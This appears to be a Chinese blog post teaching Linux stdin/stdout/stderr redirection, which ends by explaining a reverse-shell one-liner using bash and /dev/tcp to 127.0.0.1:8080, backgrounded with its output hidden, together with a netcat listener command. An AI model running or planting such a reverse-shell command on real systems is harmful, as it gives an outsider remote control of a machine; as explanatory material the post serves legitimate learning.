一个 Linux 重定向的例子

基础

* 编号 设备
stdin 0 /dev/stdin
stdout 1 /dev/stdout
stderr 2 /dev/stderr

输出重定向

  • bash -i > /dev/tcp/127.0.0.1/8080 把输出结果发送到远程
  • 2>&- 关闭错误输出
  • 2>/dev/null 抛弃错误输出
  • ls qqq >/dev/null 2>&1 把正确输出抛弃,把错误输出重定向到正确输出
  • &>/dev/null 把所有输出都抛弃
  • exec 1>log.txt 把后续所有标准输出重定向到文件(恢复使用 exec 1>&2

输入重定向

  • echo whoami | bash -i 使用管道执行命令

分析这个例子:

`(bash -i > /dev/tcp/127.0.0.1/8080 0<&1) &>/dev/null`&

它首先把 bash 的输出都发送给了 127.0.0.1:8080,并且这个文件的输出(对应于远程用户的输入命令)重定向到 bash 的标准输入。为了不让本地回显远程输入的命令,它还把这条命令的输出都发送给了 /dev/null,最后让这个 shell 在后台运行。在运行这个命令前,在另一个终端中执行 nc -lp 8080,等待这个反向 shell 的连接吧。

引用

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章